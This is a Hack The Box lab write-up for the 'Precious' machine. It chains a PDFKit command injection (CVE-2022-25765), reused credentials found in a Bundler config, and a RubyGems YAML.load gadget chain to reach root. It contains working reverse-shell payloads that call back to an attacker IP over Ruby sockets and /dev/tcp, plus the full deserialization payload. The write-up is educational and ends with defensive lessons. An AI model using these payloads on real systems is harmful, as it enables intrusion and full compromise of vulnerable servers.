Precious - An HTB easy machine
Precious - An HTB easy machine
Hostname: precious.htb
Difficulty: Easy
OS: Linux (Debian)
| Platform | Hack The Box |
| Difficulty | Easy |
| OS | Linux (Debian) |
| Domain | precious.htb |
Table of Contents
- Summary
- Reconnaissance
- Foothold — PDFKit command injection
- Lateral Movement — ruby to henry
- Privilege Escalation — unsafe YAML deserialization
- Flags
- Vulnerability Summary
- Attack Chain
- Lessons Learned
Summary
Precious exposes an application that converts a user-supplied web page into a
PDF. The generated file's metadata reveals PDFKit 0.8.6, which is vulnerable
to command injection (CVE-2022-25765) and can be exploited to obtain a shell
as ruby. This account's Bundler configuration discloses the credentials for
henry. Finally, henry can run as root a script that deserializes a
user-controlled file with YAML.load; a RubyGems gadget chain leads to root.
Reconnaissance
Nmap
nmap -vvv -p 22,80 -sVC -oN precious.txt 10.129.59.63PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to http://precious.htb/echo '10.129.59.63 precious.htb' | sudo tee -a /etc/hostsWeb application
The site fetches a URL and returns a PDF of the page. To test it, an HTML file
can be hosted on the attacking machine:
python3 -m http.server 8000
# enter in the application: http://10.10.15.133:8000/test.htmlThe metadata identifies the vulnerable component:
exiftool x8fswl4vu0mvvblxp5nets07u9xga77s.pdfCreator : Generated by PDFKit v0.8.6Key Findings
- 22/tcp — OpenSSH 8.4p1 on Debian, useful after recovering credentials.
- 80/tcp — nginx serves an HTML-to-PDF converter based on PDFKit 0.8.6.
Foothold — PDFKit command injection
PDFKit 0.8.6 passes the URL to wkhtmltopdf without properly neutralizing
certain characters. CVE-2022-25765 makes it possible to inject a
backtick-delimited command into the URL and have the conversion process execute
it.
Exploitation
rlwrap nc -lvnp 4444curl 'http://precious.htb/' \
-X POST \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-raw 'url=http%3A%2F%2F10.10.15.133%3A4444%2F%3Fname%3D%2520%60+ruby+-rsocket+-e%27spawn%28%22sh%22%2C%5B%3Ain%2C%3Aout%2C%3Aerr%5D%3D%3ETCPSocket.new%28%2210.10.15.133%22%2C4444%29%29%27%60'The decoded payload is:
http://10.10.15.133:4444/?name=%20`ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.15.133",4444))'`Double-encoding %20 as %2520 preserves the required space before the
backtick after the form is decoded once. Reference PoC:
shamo0/PDFkit-CMD-Injection.
Result: a shell as ruby.
ruby@precious:/var/www/pdfapp$ whoami
rubyLateral Movement — ruby to henry
/home contains the ruby and henry accounts. LinPEAS highlights an
unusual Bundler configuration file:
cat /home/ruby/.bundle/config---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:[REDACTED]"The password is reused by the local henry account:
su - henry
# password: [REDACTED]Result: a shell as henry.
cat /home/henry/user.txt
# [REDACTED]Privilege Escalation — unsafe YAML deserialization
Enumeration
sudo -lUser henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rbThe privileged script reads dependencies.yml from the current working
directory and passes it directly to YAML.load:
def list_from_file
YAML.load(File.read("dependencies.yml"))
endThe legitimate /opt/sample/dependencies.yml file contains:
yaml: 0.1.1
pdfkit: 0.8.6However, the relative path and unsafe deserialization allow henry to make
root load an arbitrary object chain.
Exploitation
On the attacking machine:
rlwrap nc -lvnp 5555In a directory controlled by henry, create dependencies.yml:
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: "bash -c 'bash -i >& /dev/tcp/10.10.15.133/5555 0>&1'"
method_id: :resolveRun the script from the directory containing the payload:
mkdir -p /tmp/precious
cd /tmp/precious
# save dependencies.yml here
sudo /usr/bin/ruby /opt/update_dependencies.rbDuring YAML.load, object reconstruction reaches Kernel.system and
executes the reverse shell stored in git_set.
whoami
rootRoot Flag
cat /root/root.txt
# [REDACTED]Flags
| Flag | Location |
|---|---|
user.txt |
/home/henry/user.txt — [REDACTED] |
root.txt |
/root/root.txt — [REDACTED] |
Vulnerability Summary
| # | Vulnerability | CVE | Impact |
|---|---|---|---|
| 1 | PDFKit 0.8.6 command injection | CVE-2022-25765 | Unauthenticated RCE as ruby |
| 2 | Cleartext credentials in the Bundler configuration | — | Access to henry through password reuse |
| 3 | sudo access to a script using YAML.load and a relative path |
— | Code execution as root |
Attack Chain
UNAUTHENTICATED
|
HTTP :80 — HTML-to-PDF app
PDF metadata: PDFKit 0.8.6
|
CVE-2022-25765 command injection
|
RCE as ruby
|
/home/ruby/.bundle/config credentials
henry:[REDACTED]
|
password reuse -> su henry
USER FLAG: [REDACTED]
|
sudo ruby /opt/update_dependencies.rb (NOPASSWD)
relative dependencies.yml + unsafe YAML.load
|
RubyGems gadget chain -> Kernel.system
|
ROOT as root
ROOT FLAG: [REDACTED]Lessons Learned
- Metadata is part of enumeration — the PDF's
Creatorfield reveals the
exact version of the vulnerable component. - Package-manager configuration files may contain secrets —
.bundle/config
should have minimal permissions, and its passwords must not be reused. - Do not use
YAML.loadon attacker-controlled input — use
YAML.safe_loadwith a minimal allowlist to prevent arbitrary object
construction. - A sudo rule is only as safe as all of its inputs — a root script should
read root-owned files from absolute paths and validate their contents.